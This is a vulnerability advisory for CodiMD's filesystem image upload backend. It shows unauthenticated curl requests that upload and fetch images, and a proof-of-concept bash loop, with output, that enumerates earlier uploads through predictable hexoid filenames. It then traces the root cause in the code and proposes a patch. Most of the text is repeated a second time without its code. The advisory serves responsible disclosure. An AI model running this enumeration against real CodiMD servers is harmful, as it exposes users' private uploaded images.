Summary
This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. This vulnerability affects the Filesystem upload backend. Both the develop branch from the git repository (commit d157fde) and the 2.5.3 release are affected.
CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data.
Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
This vulnerability was discovered through incidental application usage and further vulnerabilities may exist.
Note - this advisory will become public in 90 days, when a patch is issued, or if the advisory is rejected by CodiMD maintainers.
Missing Image Access Controls
No access control is applied to images uploaded to CodiMD, including images uploaded to private notes. This allows an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space and create a denial-of-service condition.
The following curl command shows an example of an image being accessed with no authentication.
curl -i http://127.0.0.1:3000/uploads/3fc337e10f6c4173c4acc3c00.png
HTTP/1.1 200 OK
X-Powered-By: Express
Referrer-Policy: same-origin
…omitted for brevity…
Warning: Binary output can mess up your terminal. Use "--output -" to tell
The following curl command shows an image being uploaded with no authentication.
curl -iF [email protected] http://127.0.0.1:3000/uploadimage
HTTP/1.1 200 OK
X-Powered-By: Express
…omitted for brevity…
{"link":"/uploads/0d8f485b3581aea8058a11c04.png"}
Insecurely Randomised Filenames
Filenames used for uploaded images are provided by the Formidable library, which uses the hexoid library to create random filenames. The hexoid library uses an insecure random number generator to create a prefix followed by an incrementing suffix. This allows an attacker to upload a file, determine the upload prefix, and obtain previously uploaded images. The prefix changes after 256 file uploads, or when the application server is restarted.
The following figures demonstrates the attack. First the attacker uploads an image file to obtain the server-side filename:
curl -F [email protected] http://127.0.0.1:3000/uploadimage
{"link":"/uploads/2d96f57625841b8f5c35e7b06.png"}
The suffix above is "06". The attacker then works backwards with known valid mime types (detailed in lib/config/index.js
) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with known earlier filenames:
for i in {0..5};
do for mime in jpeg png jpg gif svg bmp tiff;
do echo $i.$mime;
curl -sI 127.0.0.1:3000/uploads/2d96f57625841b8f5c35e7b0$i.$mime | head -1;
done;
done
0.jpeg
HTTP/1.1 404 Not Found
0.png
HTTP/1.1 200 OK
0.jpg
HTTP/1.1 404 Not Found
0.gif
HTTP/1.1 404 Not Found
0.svg
HTTP/1.1 404 Not Found
0.bmp
HTTP/1.1 404 Not Found
0.tiff
HTTP/1.1 404 Not Found
1.jpeg
HTTP/1.1 404 Not Found
1.png
HTTP/1.1 200 OK
1.jpg
HTTP/1.1 404 Not Found
1.gif
HTTP/1.1 404 Not Found
1.svg
HTTP/1.1 404 Not Found
1.bmp
HTTP/1.1 404 Not Found
1.tiff
HTTP/1.1 404 Not Found
2.jpeg
HTTP/1.1 404 Not Found
2.png
HTTP/1.1 404 Not Found
2.jpg
HTTP/1.1 200 OK
…omitted for brevity…
The following figure shows the 2d96f57625841b8f5c35e7b02.jpg
image discovered by the attacker:
Root Cause
The root cause of the insecure random filename issue is CodiMD's use of the Formidable library's generated filenames. The following code snippet from lib/imageRouter/filesystem.js
shows the vulnerable code path:
19 /**
20 * pick a filename not exist in filesystem
21 * maximum attempt 5 times
22 */
23 function pickFilename (defaultFilename) {
24 let retryCounter = 5
25 let filename = defaultFilename
26 const extname = path.extname(defaultFilename)
27 while (retryCounter-- > 0) {
28 if (fs.existsSync(path.join(config.uploadsPath, filename))) {
29 filename = `${randomFilename()}${extname}`
30 continue
31 }
32 return filename
33 }
34 throw new Error('file exists.')
35 }
36
37 exports.uploadImage = function (imagePath, callback) {
38 if (!imagePath || typeof imagePath !== 'string') {
39 callback(new Error('Image path is missing or wrong'), null)
40 return
41 }
42
43 if (!callback || typeof callback !== 'function') {
44 logger.error('Callback has to be a function')
45 return
46 }
47
--> 48 let filename = path.basename(imagePath)
49 try {
50 filename = pickFilename(path.basename(imagePath))
51 } catch (e) {
52 return callback(e, null)
53 }
54
55 try {
--> 56 fs.copyFileSync(imagePath, path.join(config.uploadsPath, filename))
57 } catch (e) {
58 return callback(e, null)
59 }
60
61 let url
62 try {
63 url = (new URL(filename, config.serverURL + '/uploads/')).href
64 } catch (e) {
65 url = config.serverURL + '/uploads/' + filename
66 }
67
68 callback(null, url)
69 }
The imagePath
variable above is provided by the Formidable library, as shown in the following debugger output:
The filename is created by the Formidable library in PersistentFile.js
:
The newFilename
variable is assigned in Formidable.js
as shown in the following code snippet:
14
--> 15 const toHexoId = hexoid(25);
… omitted for brevity…
322 if (!this.options.filter(part)) {
323 return;
324 }
325
326 this._flushing += 1;
327
--> 328 const newFilename = this._getNewName(part);
329 const filepath = this._joinDirectoryName(newFilename);
330 const file = this._newFile({
331 newFilename,
332 filepath,
333 originalFilename: part.originalFilename,
334 mimetype: part.mimetype,
335 });
…omitted for brevity…
573 this._getNewName = (part) => {
--> 574 const name = toHexoId();
575
576 if (part && this.options.keepExtensions) {
577 const originalFilename = typeof part === 'string' ? part : part.originalFilename;
578 return `${name}${this._getExtension(originalFilename)}`;
579 }
580
581 return name;
582 }
583 }
The hexoid
library used by Formidable uses the insecure Math.random()
function to generate the prefix and increments the suffix using single digits. The following snippet from hexoid/dist/index.js
shows the vulnerable algorithm:
var IDX=256, HEX=[];
while (IDX--) HEX[IDX] = (IDX + 256).toString(16).substring(1);
module.exports = function (len) {
len = len || 16;
var str='', num=0;
return function () {
if (!str || num === 256) {
str=''; num=(1+len)/2 | 0;
while (num--) str += HEX[256 * Math.random() | 0];
str = str.substring(num=0, len-2);
}
return str + HEX[num++];
};
}
Math.random()
is a known vulnerable RNG, and an attacker may be able to determine the values of previous and subsequent hexoid
prefixes. (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/)
Recommendations
Requiring valid authentication to access file upload functionality and uploaded image data (assuming guest access is not enabled) would increase the security posture of CodiMD and increase the difficulty for an attacker gaining access to uploaded image data.
The filesystem imageRouter
already implements a secure random filename function based on crypto.randomBytes()
. The following change forcing all uploaded files to use the CodiMD random filename logic would resolve the insecurely randomised filenames issue and reduce the likelihood of an attacker gaining unauthorised access:
diff --git a/lib/imageRouter/filesystem.js b/lib/imageRouter/filesystem.js
index 49a811ef..dcdaedc7 100644
--- a/lib/imageRouter/filesystem.js
+++ b/lib/imageRouter/filesystem.js
@@ -16,24 +16,6 @@ function randomFilename () {
return `upload_${buf.toString('hex')}`
}
-/**
- * pick a filename not exist in filesystem
- * maximum attempt 5 times
- */
-function pickFilename (defaultFilename) {
- let retryCounter = 5
- let filename = defaultFilename
- const extname = path.extname(defaultFilename)
- while (retryCounter-- > 0) {
- if (fs.existsSync(path.join(config.uploadsPath, filename))) {
- filename = `${randomFilename()}${extname}`
- continue
- }
- return filename
- }
- throw new Error('file exists.')
-}
-
exports.uploadImage = function (imagePath, callback) {
if (!imagePath || typeof imagePath !== 'string') {
callback(new Error('Image path is missing or wrong'), null)
@@ -47,7 +29,7 @@ exports.uploadImage = function (imagePath, callback) {
let filename = path.basename(imagePath)
try {
- filename = pickFilename(path.basename(imagePath))
+ filename = randomFilename()
} catch (e) {
return callback(e, null)
}
Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. However, the patch detailed above would provide additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.
Summary
This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. This vulnerability affects the Filesystem upload backend. Both the develop branch from the git repository (commit d157fde) and the 2.5.3 release are affected.
CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data.
Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
This vulnerability was discovered through incidental application usage and further vulnerabilities may exist.
Note - this advisory will become public in 90 days, when a patch is issued, or if the advisory is rejected by CodiMD maintainers.
Missing Image Access Controls
No access control is applied to images uploaded to CodiMD, including images uploaded to private notes. This allows an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space and create a denial-of-service condition.
The following curl command shows an example of an image being accessed with no authentication.
The following curl command shows an image being uploaded with no authentication.
Insecurely Randomised Filenames
Filenames used for uploaded images are provided by the Formidable library, which uses the hexoid library to create random filenames. The hexoid library uses an insecure random number generator to create a prefix followed by an incrementing suffix. This allows an attacker to upload a file, determine the upload prefix, and obtain previously uploaded images. The prefix changes after 256 file uploads, or when the application server is restarted.
The following figures demonstrates the attack. First the attacker uploads an image file to obtain the server-side filename:
The suffix above is "06". The attacker then works backwards with known valid mime types (detailed in
lib/config/index.js
) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with known earlier filenames:The following figure shows the
2d96f57625841b8f5c35e7b02.jpg
image discovered by the attacker:Root Cause
The root cause of the insecure random filename issue is CodiMD's use of the Formidable library's generated filenames. The following code snippet from
lib/imageRouter/filesystem.js
shows the vulnerable code path:The
imagePath
variable above is provided by the Formidable library, as shown in the following debugger output:The filename is created by the Formidable library in
PersistentFile.js
:The
newFilename
variable is assigned inFormidable.js
as shown in the following code snippet:The
hexoid
library used by Formidable uses the insecureMath.random()
function to generate the prefix and increments the suffix using single digits. The following snippet fromhexoid/dist/index.js
shows the vulnerable algorithm:Math.random()
is a known vulnerable RNG, and an attacker may be able to determine the values of previous and subsequenthexoid
prefixes. (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/)Recommendations
Requiring valid authentication to access file upload functionality and uploaded image data (assuming guest access is not enabled) would increase the security posture of CodiMD and increase the difficulty for an attacker gaining access to uploaded image data.
The filesystem
imageRouter
already implements a secure random filename function based oncrypto.randomBytes()
. The following change forcing all uploaded files to use the CodiMD random filename logic would resolve the insecurely randomised filenames issue and reduce the likelihood of an attacker gaining unauthorised access:Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. However, the patch detailed above would provide additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.